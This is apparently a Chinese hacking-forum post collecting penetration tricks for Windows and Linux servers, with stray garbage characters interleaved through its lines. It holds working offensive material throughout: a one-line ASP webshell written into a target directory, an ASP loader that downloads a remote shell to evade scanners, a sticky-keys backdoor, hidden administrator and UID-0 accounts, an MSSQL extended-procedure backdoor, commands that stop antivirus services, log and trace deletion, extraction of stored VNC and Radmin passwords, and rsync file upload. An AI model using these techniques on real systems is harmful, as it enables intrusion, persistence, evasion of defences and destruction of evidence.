渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
* I. {& i! k! nIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
# e* P( f' t& J! i. Q0 l        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

! U4 V2 @6 p. ~Usage:Cscript vWeb.vbs",4096,"Lilo"
+ G4 V9 f& d: C& O. ~) t        WScript.Quit
End If
% C; F2 ?! ]( j7 v8 ]Set ObjService=GetObject
: Q, U, X" R) D/ v, _
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)
1 m% L6 t. ?) o% \( D6 a& i' P& e
0 j1 z6 Z" `; uThen
0 T% U- ?" @) V7 P0 ?                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
  `  i8 u2 C" H3 X
+ I! c6 m2 u& ]6 M: C1 L0 @, I       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

% l4 S' B0 x4 _0 w' v) e$ C3 k8 k<> 0 Then WScript.Quit (1)
. B9 @0 j5 z$ r& A+ u                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
+ L; m# C8 g$ \                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
: S7 S! }1 p! }5 H                        
( y+ g2 T3 Y  B. e6 N
7 b! z) i$ A; ~1 X+ |2 j5 cWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
8 \, l0 @3 N& e- M! {& j( P2 W      

4 P" G8 u0 z: J. H! U         WScript.Echo "ath            : " & VDirObj.Path
( s1 L2 }# o, s" o4 S& i' e' M        End If
8 A" p5 X# \4 h' _# ^* B9 F- ]Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
1 F2 T  u  V, p& [—————————————————————
WordPress的平台，爆绝对路径的方法是：
" E) a! ?& i$ t5 n1 turl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
! O9 q1 h" ]2 j7 b  }6 K( aphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
) }. `+ N! W0 t+ k/ K& A6 z* U5 n" d网站可能目录(注：一般是虚拟主机类）
; b1 o' q/ f0 vdata/htdocs.网站/网站/
9 d  `' U: v# p/ z! H2 e————————————————————
# t( V$ \9 k4 f( pCMD下操作VPN相关
9 J' n# W% k! X; X' O4 z" d/ Fnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
% M( |1 O" V0 i7 p6 `; f2 b————————————————————
命令行下添加SQL用户的方法
/ B1 @, r5 q* D需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
4 ?: d. `% H9 `* l2 e4 E然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

8 D- M9 P" n, z7 K  n. N: S4 I4 G另类的加用户方法
4 p9 M$ F# p( D; U9 z2 I9 G在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
0 K3 g, x( h+ a1 v; R" d" Zjs:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
4 S& t0 |( B; S6 \z.changePassword("123456","")
z.setting("AccountType")=3;

+ d  i' U6 S9 }; Zvbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
2 k% }! i4 I% j/ x8 Mcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

6 }" J2 {' {$ @+ ]命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
% {( r* {0 o4 a: V0 R5 \4 pcacls "目录" /d everyone               #everyone不可读，包括admin
) g7 |( E1 B- f) k+ K, Q. T/ `————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
: F5 c$ v/ L$ pb、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
, q7 h  o. q  `$ Onet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
. [- \- w: K; k% O: ?————————————————————
% N  `7 ^9 t9 @
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
( ]+ v) `: j3 J5 N& W* d) S* t3 w" Mcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
) E$ q8 `3 [8 V' w" Gcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
1 u2 l+ U! c2 O# s1 G——————————————————————
) o8 N2 N& N% O$ U4 l/ C隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
0 ^( |7 {4 M$ P4、利用Hacker Defender把相关用户注册表隐藏
' G- A. h5 }: w$ y% o( U# F——————————————————————
2 u" W% H$ n3 s) R% \  F! HMSSQL扩展后门：
+ p4 f* ], m7 x: T+ @; o, z, ~USE master;
2 k; b& V* [2 w+ ~  jEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
5 f; w/ t6 M& {, ]1 {$ a4 c9 J———————————————————————
日志处理
$ @# z0 H) D3 ~# aC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
% V5 {, n& G+ |ex011120.log / ex011121.log / ex011124.log三个文件，
0 Z  c) C4 |- K2 G0 n6 q) [( Y# D0 h直接删除 ex0111124.log
; i8 P$ B4 ^# M不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
4 J5 _1 l) X+ c" a* \3 y; A当停止msftpsvc服务后可直接删除ex011124.log
- U6 Y. n1 `/ y+ @. o
7 \) P: h/ p7 x0 y) D: |* E  NMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
5 ~! V. i& `, [, S0 @HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
* Z$ _/ `3 @. j) n) D—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
3 l# ?0 L5 V- ^' [9 s# w  [" CSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
2 D# J6 {, g$ {1 L1 qSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
6 [( ^, W7 x4 M* @4 K3 L& ~With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
, f8 h, ~+ X0 [. ?4 e* u/ tGetRemoteData = .ResponseBody
/ X7 w4 i& l- C' F, u# H& P! G& d7 FEnd With
Set Retrieval = Nothing
/ W  A, [* Z* x1 Q$ @) o' tSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
$ q; c' [9 w, g, {.Open
$ m5 K6 E$ O8 J+ \.Write GetRemoteData
# I* q4 ]1 L8 L/ K0 a! y5 H.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
) K5 ?  M# ?# ~+ D$ N4 C! d( MEnd With
Set Ads=nothing
5 S5 X  ~" x9 ?6 |  MEnd Sub
) B$ |$ E, ]+ ~6 X
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
! c2 v7 O$ ^1 W2 ^%>
% P5 J, s( z, T  z! U$ b+ P, v
! a# I  _+ S# h( j* f8 hVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
2 u$ G$ z/ ]1 j) n1 `8 V; lregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
9 |/ i2 f! w9 e$ [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
1 Y. m$ _4 ]( y6 R; Q" ^HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
5 |) y3 \: B3 B# @& p; V, e然后用HASH版连接。
% Z0 U" a1 I3 O6 l- t如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
4 B- @+ P) R0 _! @$ c" _保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
  E+ c, {, t) o2 k$ L% a  v——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
! @. v1 i  R# m2 x, ^——————————————————----------
2 M3 w, v& C3 G# C& J6 YWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
, i& K+ P7 ^$ P2 w+ c
1433 SA点构建注入点。
( D5 r0 {9 H2 ^; @( C& m<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
" H: L' U) }3 e/ u$ M
strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
% |& Q5 }8 Y' ~! ]set rs=server.createobject("ADODB.recordset")
, E) P/ P' a/ N4 }( p8 \7 s9 yid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
; @" R3 }" [9 H! d( J%>
$ U1 t5 V/ x& ]9 g复制代码
******liunx 相关******
一.ldap渗透技巧
, M4 y. [" u( H! j, M- \! U1.cat /etc/nsswitch
# O- `9 ]8 H. S0 Q看看密码登录策略我们可以看到使用了file ldap模式
: |, N" A/ y/ {- I1 e4 q+ _
2.less /etc/ldap.conf
- m+ w9 q) T1 W/ M/ b8 g5 O2 Zbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
5 a1 y) Z/ C2 v- x$ U" U
3.查找管理员信息
  h9 e7 r. U5 T  _: R+ @9 ]' g匿名方式
, B, H+ o. E. u# Cldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
2 W( ~" a4 S9 k6 r" ^, D( x/ Z
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
: i' ]% t" b9 jldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
  G6 w, I/ s% s1 P1 `
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

3 B$ Y0 ?4 E, {实战:
4 A2 D4 I2 T9 W. m1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
9 B4 t* a; E) R找到ou,dc,dc设置
0 v/ V: M0 k' m
3.查找管理员信息
; o) _+ D/ O9 z4 _$ d$ T  _匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
5 _+ z3 q$ ?' Y+ ?0 ^
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
% F) q0 S5 X' A8 a! i! \4 P有密码形式
2 E! R' {  I& K% ]0 g* jldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


% w4 T; Y* e: Z9 H7 ~4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
6 l2 @! S( d" W. L9 P( O
) X- c& D1 o! p4 [2 G3 j渗透实战:
9 p" ?6 x, I, J- t1.返回所有的属性
% N- q: T& i6 h+ x; `ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
  o- G) ^: I8 \5 y& v* S0 ?% A! edc: ruc
; r& K7 @4 \; r: aobjectClass: domain
% q/ y: ?; W# P2 z
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
- G- S; W, \, K0 K9 uobjectClass: inetOrgPerson
8 Q/ v. E: B& h( bobjectClass: organizationalPerson
objectClass: person
+ |/ `& |+ P/ W5 {: y5 Q8 D" bobjectClass: top
sn: manager
  E& S* ~3 X# Y- ]% {9 U6 X7 P' qcn: manager
' @1 ^# q  G1 r( z6 z
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
5 i- \0 \7 ~. N* e" K3 r- Ruid: superadmin
0 U3 s" D9 V+ Q1 j, m. @6 a7 G+ bobjectClass: inetOrgPerson
objectClass: organizationalPerson
( R3 K% \! F- _$ I1 N% vobjectClass: person
' S4 y) ?; }0 p* c2 L$ |) Y9 ]! y) }objectClass: top
sn: superadmin
1 W8 z6 B+ [- scn: superadmin

7 H; d9 [9 y1 Q$ h' L2 ~dn: uid=admin,dc=ruc,dc=edu,dc=cn
% R. |5 T* u% i' y9 tuid: admin
objectClass: inetOrgPerson
  _; e/ F" t; w; SobjectClass: organizationalPerson
objectClass: person
objectClass: top
, Q% A8 C# R" J% usn: admin
/ @( r( M! q* O/ q) O0 D& \cn: admin
2 r% M! j  _- `7 v% y9 W
8 e7 P) \( A- o& qdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
4 Z+ @( x2 g1 n1 @objectClass: top
/ ?/ f( o  P, {7 RobjectClass: person
objectClass: organizationalPerson
' i; A: @$ ~+ G5 i9 GobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
# T; A, L; Y+ R) m; h. L
2.查看基类
: G( p7 i& C& ?$ [bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
) G3 |6 b  y9 T9 `
4 D% k" F+ H: R, V- w2 Mmore
version: 1
& F* D1 M! M- V8 i9 ?1 ndn: dc=ruc,dc=edu,dc=cn
( e2 J. {3 W' Qdc: ruc
$ [% ^5 \' k0 C  tobjectClass: domain
- _7 t5 ~: ]# L8 l! ~9 e
, K/ m: X. E4 d9 n" Y3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
  L# n; p' w3 ^0 h, ]) Bdn:
3 o7 e! s) t3 ^; y& [objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
- f( z: n/ Y( T" fsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
" O( t5 D8 f) [( JsupportedExtension: 2.16.840.1.113730.3.5.5
$ w% P  l! E8 V" ^: LsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
3 A6 F+ M0 p, msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
; W$ L& S. S4 u$ N$ s' p+ {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
- s  ?" ~8 o9 N9 F7 ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
& y* b% x% ^% a* y7 N8 fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
$ d9 o/ H+ L; p( Q( Y# YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
5 h% `/ S/ v7 g" V7 `7 csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
+ Q: V; ^' S3 [6 {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
. v; D7 f: `2 j$ v% NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
) \- _$ v# ?  G6 j/ u' LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
# i# E- `, X8 jsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
- e6 a4 H2 \2 Z! U$ G- [" L2 H) s% csupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
/ Z- Y: H2 F( ?supportedControl: 2.16.840.1.113730.3.4.9
' r3 v4 f$ M7 t" qsupportedControl: 2.16.840.1.113730.3.4.16
! i$ V/ K% Y- W% PsupportedControl: 2.16.840.1.113730.3.4.15
2 B, z5 D, B: q( }( UsupportedControl: 2.16.840.1.113730.3.4.17
# ~, n6 s% _0 f" Q/ i: X: GsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
- r2 ^# f' K$ W$ E1 f5 t2 T! ksupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
8 ]3 ?0 E6 ?( g. J5 T2 zsupportedControl: 2.16.840.1.113730.3.4.14
. D" R. T! r2 x) I" psupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
! a- u" k  T' I; z* UsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
. [6 Q. k8 i  R! AsupportedLDAPVersion: 3
0 y: ^' v% d2 F4 GvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
, Y; o: j' y  W. l: l3 PsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
& j6 m* d1 T3 OsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
' L2 Z! f- U) O$ ?% ssupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
3 |7 D( N( ?, ^' [8 W- q1 asupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
/ \. Y/ I( w7 C( D- a7 ssupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
6 N* z0 c" Y7 W" AsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
- k9 h7 Z! ]( q# M* i. HsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
) H# y9 G; l$ |& JsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
- g$ j/ E6 p+ x  k( ZsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
# b7 [% \2 J4 ^1 osupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
( u8 O5 h8 B% V. _' P" G2 J' IsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
2 Q$ v, |/ u1 b8 W7 X# l9 C: zsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
1 e! i6 l, o$ ~- bsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
" _' G8 ^2 w* ?: W+ |  }1 F4 z7 YsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
4 S/ v( v9 Q7 C7 z9 V1 \0 H, }/ m5 ksupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
; Y$ x. c3 t( Q) EsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
( C% d$ u( `5 d: o- {supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
+ g/ ]; c" Q; FsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
9 A: ^1 k+ a/ G$ z! Q+ j0 RsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
, Q, {0 J( L3 A' _* ]0 w9 bsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
: t7 S5 ~# r9 P7 {: {supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
5 ^0 F2 \: _: x2 b9 BsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
8 ^4 P  q' U, v; W( H2. NFS渗透技巧
, t! G1 m$ F4 b; Lshowmount -e ip
列举IP
——————
8 N- m" _  M. _4 ~2 s3.rsync渗透技巧
1.查看rsync服务器上的列表
9 ]: `' Q* p: V/ r1 B2 _/ |rsync 210.51.X.X::
- F) y0 f: ]' z, D* }finance
img_finance
9 P, g* H, H- o# g0 P% S/ Wauto
img_auto
html_cms
: q* X  w, T2 r* z3 v  o, t' pimg_cms
  ?' u* m' P# N, [9 p# went_cms
ent_img
ceshi
( s' H( r0 r8 B. g8 ]) n, U+ M( g; v# |' ?res_img
res_img_c2
3 X3 w0 t6 K, N' l, mchip
chip_c2
0 e" ]  K  W( u8 Q$ Sent_icms
games
gamesimg
* Z* v; v: A7 H+ b& `4 `, bmedia
7 Q  W7 b7 ^4 v6 V% ^mediaimg
1 O. C4 Z' a: V9 _6 }$ afashion
res-fashion
3 ~$ q+ n# {; c* Pres-fo
+ h5 D4 Q1 E5 F" Otaobao-home
res-taobao-home
house
4 G1 k$ w8 A+ h' W8 W- L5 ]& Q, Yres-house
: G$ \( C. x, `# C/ ores-home
res-edu
res-ent
: u) M7 @5 r( Kres-labs
res-news
4 |) s- m% U% P5 sres-phtv
, P/ y& M1 [% k' `0 y; U' [res-media
home
edu
news
8 K, v  g* D# U: r* F3 a8 u# n! bres-book

看相应的下级目录(注意一定要在目录后面添加上/)
2 {  N7 u- @* I& ]$ v- `1 C5 i# E
& p' b- [- v  j$ z/ n; k
rsync 210.51.X.X::htdocs_app/
' K" c8 j8 [3 W' |8 f0 [1 ], drsync 210.51.X.X::auto/
; D* v: U9 l6 L& Y- y) mrsync 210.51.X.X::edu/
9 W! V% @3 l$ J- o6 A/ x
9 J: G' V3 |: k: _: E! F2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
# V/ B3 Y6 m9 m% |
& Q* z0 u, |7 b, p& [- u3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
6 S3 X, q+ N6 C/ A7 g) Rnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

# l. m6 {2 Q* h, S六.joomla渗透小技巧
& F: m. b* j& ?+ y: Q2 {9 ]确定版本
( I7 ]& r6 x" y- }index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
5 A+ s3 N2 X6 s; P% \8 `: c: j
15&catid=32:languages&Itemid=47
7 d$ x( S: Z8 a' Y
重新设置密码
index.php?option=com_user&view=reset&layout=confirm

1 d' @7 W+ ?1 O& h. W9 Y七: Linux添加UID为0的root用户
7 J0 ^$ a: @/ t8 i! H( Tuseradd -o -u 0 nothack

八.freebsd本地提权
9 J2 q! V7 \7 s7 U[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
3 b& k# Y0 r- W$ M. P# K* [argp@julius ~]$ sysctl vfs.usermount
/ B4 O- v6 x& S' J, N( b* vfs.usermount: 1
4 C0 T6 s. ]  c* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
5 F# O7 L) t4 r8 m*
  t: T& [. d; A2 V6 U9 |calling nmount()
$ a" r  c; a+ ]4 A7 t, x; |/ r9 m
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
/ \' T" R7 K, f" X( y8 T" m感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
7 _8 A/ n$ p# n————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
/ K0 s+ [/ @  P8 f$ o+ walzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
! t$ _: H6 m6 g, k{
注：
" s3 u# [. {8 n' q5 P% p0 g. X关于tar的打包方式,linux不以扩展名来决定文件类型。
